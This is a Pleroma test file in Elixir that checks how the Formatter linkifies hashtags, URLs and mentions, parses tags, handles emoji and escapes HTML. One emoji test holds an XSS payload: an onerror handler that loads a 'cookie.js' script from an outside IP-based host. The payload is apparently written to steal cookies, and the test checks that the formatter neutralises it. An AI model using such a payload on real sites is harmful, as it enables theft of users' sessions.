1 # Pleroma: A lightweight social networking server
2 # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
3 # SPDX-License-Identifier: AGPL-3.0-only
5 defmodule Pleroma.FormatterTest do
6 alias Pleroma.Formatter
10 import Pleroma.Factory
13 Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
17 describe ".add_hashtag_links" do
18 test "turns hashtags into links" do
19 text = "I love #cofe and #2hu"
22 "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
24 assert {^expected_text, [], _tags} = Formatter.linkify(text)
27 test "does not turn html characters to tags" do
28 text = "#fact_3: pleroma does what mastodon't"
31 "<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"
33 assert {^expected_text, [], _tags} = Formatter.linkify(text)
37 describe ".add_links" do
38 test "turning urls into links" do
39 text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
42 "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
44 assert {^expected, [], []} = Formatter.linkify(text)
46 text = "https://mastodon.social/@lambadalambda"
49 "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
51 assert {^expected, [], []} = Formatter.linkify(text)
53 text = "https://mastodon.social:4000/@lambadalambda"
56 "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
58 assert {^expected, [], []} = Formatter.linkify(text)
60 text = "@lambadalambda"
61 expected = "@lambadalambda"
63 assert {^expected, [], []} = Formatter.linkify(text)
65 text = "http://www.cs.vu.nl/~ast/intel/"
66 expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
68 assert {^expected, [], []} = Formatter.linkify(text)
70 text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
73 "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
75 assert {^expected, [], []} = Formatter.linkify(text)
77 text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
80 "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
82 assert {^expected, [], []} = Formatter.linkify(text)
84 text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
87 "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
89 assert {^expected, [], []} = Formatter.linkify(text)
91 text = "https://en.wikipedia.org/wiki/Duff's_device"
94 "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
96 assert {^expected, [], []} = Formatter.linkify(text)
98 text = "https://pleroma.com https://pleroma.com/sucks"
101 "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
103 assert {^expected, [], []} = Formatter.linkify(text)
105 text = "xmpp:contact@hacktivis.me"
107 expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
109 assert {^expected, [], []} = Formatter.linkify(text)
112 "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
114 expected = "<a href=\"#{text}\">#{text}</a>"
116 assert {^expected, [], []} = Formatter.linkify(text)
120 describe "add_user_links" do
121 test "gives a replacement for user links, using local nicknames in user links text" do
122 text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
123 gsimg = insert(:user, %{nickname: "gsimg"})
127 nickname: "archa_eme_",
128 info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
131 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
133 {text, mentions, []} = Formatter.linkify(text)
135 assert length(mentions) == 3
138 "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
140 }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
142 }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
144 }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
146 assert expected_text == text
149 test "gives a replacement for user links when the user is using Osada" do
150 mike = User.get_or_fetch("mike@osada.macgirvin.com")
152 text = "@mike@osada.macgirvin.com test"
154 {text, mentions, []} = Formatter.linkify(text)
156 assert length(mentions) == 1
159 "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
161 assert expected_text == text
164 test "gives a replacement for single-character local nicknames" do
166 o = insert(:user, %{nickname: "o"})
168 {text, mentions, []} = Formatter.linkify(text)
170 assert length(mentions) == 1
173 "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
175 assert expected_text == text
178 test "does not give a replacement for single-character local nicknames who don't exist" do
181 expected_text = "@a hi"
182 assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text)
186 describe ".parse_tags" do
187 test "parses tags in the text" do
188 text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
192 {"#working", "working"},
197 assert {_text, [], ^expected_tags} = Formatter.linkify(text)
201 test "it can parse mentions and return the relevant users" do
203 "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
205 o = insert(:user, %{nickname: "o"})
206 jimm = insert(:user, %{nickname: "jimm"})
207 gsimg = insert(:user, %{nickname: "gsimg"})
208 archaeme = insert(:user, %{nickname: "archaeme"})
209 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
211 expected_mentions = [
212 {"@archaeme", archaeme},
213 {"@archaeme@archae.me", archaeme_remote},
219 assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
222 test "it adds cool emoji" do
223 text = "I love :moominmamma:"
226 "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
228 assert Formatter.emojify(text) == expected_result
231 test "it does not add XSS emoji" do
233 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
236 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
237 "https://placehold.it/1x1"
241 "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
243 assert Formatter.emojify(text, custom_emoji) == expected_result
246 test "it returns the emoji used in the text" do
247 text = "I love :moominmamma:"
249 assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
252 test "it returns a nice empty result when no emojis are present" do
253 text = "I love moominamma"
254 assert Formatter.get_emoji(text) == []
257 test "it doesn't die when text is absent" do
259 assert Formatter.get_emoji(text) == []
262 test "it escapes HTML in plain text" do
263 text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
264 expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
266 assert Formatter.html_escape(text, "text/plain") == expected